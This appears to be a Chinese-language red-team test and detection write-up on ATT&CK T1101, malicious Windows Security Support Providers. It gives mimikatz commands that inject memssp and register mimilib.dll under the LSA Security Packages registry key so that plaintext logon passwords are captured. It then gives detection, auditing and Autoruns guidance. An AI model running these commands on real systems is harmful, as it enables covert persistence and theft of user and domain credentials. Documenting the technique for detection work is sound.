简介
Windows SSP(Windows安全支持提供程序)动态链接库在系统启动时加载到LSA(本地安全机构)进程中。一旦加载到LSA中,SSP动态链接库可以访问存储在Windows中的加密和明文密码,例如任何登录用户的域密码或智能卡PIN码。SSP配置存储在两个注册表项中:HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages和HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\SecurityPackages。攻击者可能会修改这些注册表项来添加新的SSP。这些SSP将在下次系统启动时加载,或者在调用AddSecurityPackage Windows API函数时加载。
测试案例
SSP(Security Support Provider)是windows操作系统安全机制的提供者。简单的说,SSP就是DLL文件,主要用于windows操作系统的身份认证功能,例如NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI(Security Support Provider Interface,安全支持提供程序接口)是windows操作系统在执行认证操作时使用的API接口。可以说SSPI就是SSP的API接口。
如果获得目标系统system权限,可以使用该方法进行持久化操作。其主要原理是:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
检测日志
windows安全日志
测试复现
方法一
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
1 | mimikatz.exe "privilege::debug" "misc::memssp" exit |
1 | C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe "privilege::debug |
注销当前用户重新登录,即可获取明文密码,密码存储在日志文件C:\Windows\system32\mimilsa.log中。
1 | type C:\Windows\system32\mimilsa.log |
1 | C:\Users\Administrator>type C:\Windows\system32\mimilsa.log |
方法二
将mimikatz中的mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
1 | copy mimilib.dll %systemroot%\system32 |
1 | C:\Users\Administrator\Desktop\mimikatz_trunk\x64>copy mimilib.dll %systemroot%\ |
注意:最后一步修改注册表需要在powershell命令行下操作,cmd下可能会报错。
1 | C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ |
1 | PS C:\Users\Administrator> reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv |
查看注册表 hklm\system\currentcontrolset\control\lsa\Security Packages项的值。
1 | C:\Users\Administrator\Desktop\mimikatz_trunk\x64>reg query hklm\system\currentc |
系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:\Windows\system32\kiwissp.log中。
1 | type C:\Windows\system32\kiwissp.log |
1 | C:\Users\Administrator>type C:\Windows\system32\kiwissp.log |
测试留痕
建议在windows server 2008(含2008)以下版本安装部署sysmon,记录进程名称、进程命令行参数,方便溯源分析;
建议在windows server 2008以上版本操作系统中开启审核进程创建策略,记录进程名称、进程命令行参数,方便溯源分析。
1 | #针对方法二留痕 |
检测规则/思路
监控注册表来查看SSP注册表项是否有更改。监控LSA进程来查看是否有动态链接库加载的情况。Windows 8.1和Windows Server 2012 R2中,在注册表项HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File ExecutionOptions\LSASS.exe中设置AuditLevel = 8来加载未签名的SSP动态链接库到LSA时会生成事件。
安全防御措施
1.检查注册表
hklm\system\currentcontrolset\control\lsa\Security Packages位置是否存在可疑dll。
2.检测%windir%\System32是否有可疑dll
3.使用第三方工具 Autoruns 检测LSA中是否存在可疑dll。
Autoruns下载:https://docs.microsoft.com/zh-cn/sysinternals/downloads/autoruns
参考推荐
MITRE-ATT&CK-T1101:https://attack.mitre.org/techniques/T1101/
AD域SSP权限维持与安全防护:https://xz.aliyun.com/t/7432